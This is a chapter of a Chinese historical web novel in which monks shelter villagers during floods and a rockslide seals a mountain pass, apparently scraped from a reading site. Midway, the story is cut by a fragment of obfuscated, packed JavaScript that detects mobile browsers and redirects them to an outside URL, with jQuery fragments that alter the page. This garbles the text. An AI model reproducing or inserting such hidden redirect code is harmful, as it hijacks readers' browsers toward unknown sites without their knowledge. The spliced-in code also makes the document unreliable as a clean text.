27. 第二十七章

作品:《尝言

    僧人引众送姜汤、米汤至大雄宝殿。


    维那开放客堂、禅房供女子孩童使用,外法堂和回廊棚户为男子休息区,中间隔着配殿僧寮,分区明确。


    寺主同上座坐镇大雄宝殿,维那指导僧人施衣食。


    分完返回斋堂。


    “这般多人,不知粮够否?”


    顾书锦推着独轮车,回身道。


    与之同返的僧人笑回:“贵人不必担忧,寺周乃我寺农田,平日收成不错,广贮干姜以备不时之需,复有乡民累施,衣食具足。”


    官府对寺院免征赋役,故累年寺内存粮丰矣。


    韦初了然,步上前问:“观贵寺应事,经验颇丰,往昔尝遭此境?”


    僧人颔首,双手合十:“四年前岭州水患,始宁也遭其害,山径毁坏甚剧,彼时寺内资用匮乏,苦持半月,得善士援手,方渡此难。”


    岭州……


    韦初眸光颤了颤,心底泛起丝丝涩然。


    僧人续道:“善士输粟纾灾,指导我等重建山林,开垦荒地,尔后再遇水患,佛寺均能妥善应对。”


    言罢,扶正箩筐。


    雨势依旧没有减弱,夜里起风,韦初浑身打了个寒战,跟上众人。


    来回三趟,他们将汤食分与诸民,方归去歇息。


    院中本就有半数护卫,今归十余人,似归昔时共居。


    忙了半天浑身疲惫,韦初换去一身湿衣躺在床上,不消片刻,伴着雨声沉沉睡去。


    -


    谢沅身在烽火台上,举火把瞭望险况。


    绥阳郡沿海此刻暗无灯火,几县处河流下游,地势低平,积水迅速上涨,县内乡民皆徙避高处。


    转身换了个方向,他双眉拧起。


    韦初他们所处的无名佛寺在始宁境内,三州交界地带,群山环抱,背靠茶山,面临流水。


    地势起伏可避水涨,但山洪恐至。


    出口响起脚步声,他侧头,亲卫快步上前,躬身抱拳:“禀郎君,茶山山脚已遭水淹,若这雨持续落至明日不停,水滞不泄,恐生山崩地陷之患。”


    额角胀痛,谢沅抬手按揉,眼下黑天暗地,无法做出任何决定。


    抬起眼帘,亲卫衣袍湿透,乃查探情况所致,他缓声让他回去歇息,独自留在这里。


    一直守至天将明时,暴雨初歇,西南方位传来沉闷轰鸣。


    谢沅倏地望去。


    巨石轰然滚落,沿途泥石飞溅如矢,击向四处,所过草木摧折,终猛撞向岩壁,深嵌于山坳。


    大地巨颤,石鸣不止。


    -


    地在震动。


    韦初猛地惊醒,不及其他速披外衣推开隔间。


    床上无人。


    目光向下,地面豁裂弧形深缝,阿汀一只脚被此缝所拌,伏倒在地。


    混乱中仪空破门而入,疾步上前道:“山上巨石滚落。”


    韦初扶阿汀站稳,仔细检查她全身,确认手脚无恙,心下稍安。


    遂抬眼看向仪空,见其亦安好,缓声问:“佛寺可有危险?”


    “多宝阁被岩碎击垮。”仪空领着她们往外走,“幸而有此抵挡,否则跨院危矣。”


    心跳此刻仍是错乱,这般地动山摇韦初不曾经历,提步走出房门,满院人聚于院前。


    俄而一声震天轰鸣,众人抱头蹲下。


    耳鸣良久,韦初缓慢抬起头,觉眩晕不止,狠狠晃了晃方有缓和,抬眸,面前众人状同于她。


    巨响余音回荡山间,惊起山中对未知险境的恐惧。


    地颤止,惊声起,佛寺内传来乡民控制不住的情绪外泄。


    当下乡民煌骇不安,恐有心智不定者滋事,仪空遂点人前去维持秩序。


    跨院尚未脱离碎岩复落风险,余人也至前院暂避。


    韦初和谢泱先赴东侧殿,殿周未被波及,然供案牌位为巨石震倒。二人将其扶回原位,更换铜盆清水,肃拜乃出。


    青灰天色透出几缕白光,渐渐明亮。


    乡民聚在前院,韦初目光扫过,能看清他们焦躁不安的神情。


    大雄宝殿梵音阵阵,盖过嘈杂。


    直至辰时,众僧走出殿门。


    负责早斋的僧人于院中空地架起炉灶。雨已停歇,他们省去支设雨棚,多了灶位。


    未几,韦初排队领到碗葵菜萝卜杂米粥和一个馒头,与众围坐一处。


    昨晚只喝了碗米汤,韦初吃完热米粥,浑身暖和了些,啃完最后一口馒头,面前忽现一团白色。


    侧过头,谢泱将馒头往前一移,他眼睫微垂,唇角轻轻抿着。


    谢泱尚为伤患,服下汤药后常食欲不振,食完碗菜粥算是勉强,故她只好代劳多吃一个馒头。


    韦初张口咬下,随后抬手拿着。


    吃完朝他弯眉一笑,道:“待山径干燥,我等共往勘之。”


    言罢一护卫上前,抱拳恭声道:“女郎、郎君,小人识得山路,愿为前驱探路。”


    韦初看向他,觉得有些眼熟,唤他抬起头。


    护卫直起腰,未直视他。韦初认出此人,昨夜便是他第一个从山口上来。


    “眼下不可。”她站起来,“雨方歇不久,山径定然泥泞湿滑,且巨石过处树木倾倒,石松愈险矣。”


    护卫垂首,应道:“小人随时听候差遣。”


    -


    三日后,护卫前去探明情况,归时不复初见的挺拔姿态。


    “女郎,下山路径皆毁,碎岩迸裂岩壁,现山口为石所堵。”


    他话音带着颓气。


    韦初颔首,让其暂退休憩。


    护卫退出,仪空思索片刻,问道:“当即行否?”


    韦初张了张口,随即闭上,想到谢泱伤愈,此时不允他同往,必潜随而去,遂迈步与仪空同往告之。


    出了山门,向东行数百步,韦初方亲睹巨石之威。


    飞石击垮寺墙,余壁摇摇欲坠,里侧多宝阁坍塌,只余青檐半角,目光所至皆覆干裂黄泥。


    隔着二里观状若此,身临其境岂堪惨烈。


    行至山口附近,众人停下。


    韦初跃上高处眺望,窄道外密林被生生破出条宽近三丈的滚道,直延山脚,林下陡峭险峻尽露。


    收回目光,山口堵着块异石,严实若封,她眉头紧锁,面前石头叠五人犹不及其半。


    落回地面,她迈步上前,目光向下,岩石底部深深扎进土中,此非人力所及。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174662|196888||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >余光瞥见两双手掌抵住石身,她转头,谢泱和顾书锦企图以自身蛮力推动。


    然巨石纹丝不动,两人收回手,面面相觑片刻,讪笑望天。


    白言抽刀,蹲下尝试凿石,连凿半晌,仅刮了层石屑。


    她收刀入鞘,干咳两声缓缓仰起头。


    韦初和仪空对视一眼,今日朝阳和煦,确为晴朗好天气。


    五人望天之际,远处一声哨鸣打破寂静,惊起群飞鸟。


    凝神辨听,声音出自山脚方向。


    山下积水,又添石落,泥石淤塞水道不得泄,是以此间往来者唯谢沅等人。


    再听哨音,三人眼神一凛。


    “怎么了?”见他们神色有异,白言靠近了问。


    此乃谢沅教授他们的险地传声,三声平缓长鸣代表他身在那处,继而长短交织三下,表示地方危险/阻碍解除,最后三声混鸣,意为他们无法支援。


    碎岩甚众,他们处于下方,贸然撬动无处躲避,必生伤亡。


    而今唯有山上之人进行自救。


    韦初看向她:“是师父他们。”


    白言面露喜色,问:“那这哨声是何意?”


    韦初将三段哨意告之。


    顾书锦沉吟片刻:“既如此,水泄后木村暂为安处。”


    白言点点头,扶壁探身俯瞰,回头问:“当推此石否?”


    谢泱摇头:“若此石循道而下,屋舍复遭摧毁,且二石极易相撞,致巨石移位而危极他处。”


    仪空绕岩石半圈,蹙眉道:“怪石深嵌地底,移石之艰,不下于坠石。”


    实为上下皆难,此事需从长计议,韦初取出铜哨靠近崖沿,深吸一口气,复吹三遍回应谢沅。


    须臾传来短音。


    五人在四周仔细勘查后返回佛寺。


    前院乡民仍处在惊慌当中,他们不是没有感知,数日未放其下山,更不见官府之人。


    惶惶不安间闻脚步声靠近,众皆一惊,抬头看去,五个人影穿廊而过。


    顾书锦止步院中,余者走进大雄宝殿。


    殿内烛火通明,寺主、上座、维那正立于殿侧,目含慈悲。


    四人步上前,双手合十。


    “还未多谢诸君昨夜相助,郎君、女郎善心可贵。”寺主声音平和。


    “微劳不足挂齿。”韦初微笑,示意谢泱开口。


    僧人连日频往山口,尚未决断,此事一日不解,乡民便一日滞留寺中,他们归家心切,而余粮亦经不起这般消耗。


    “大师可有应对之策?”


    “昨日遣僧众二十移石,未能将其拉动。”


    韦初抬眼,他所言为“拉”,三僧也考虑有坠石风险。


    然山口平处难容众聚,故无法增添人力。


    安州马!


    她眸子一亮,他们还有十匹安州马可用,然须有人从后推之。


    谢泱显然和她想到一块:“若是驱马前拉,后佐人推,或可移石。”


    这话落到三位高僧耳中,他们脸色惊疑不定,这可谓是稍不留神就粉身碎骨。


    白言观其面色不佳,道:“我白氏商队运输途中,经险道,会于腰间捆绑绳索,留两头扣紧沿边巨树,相继而行。”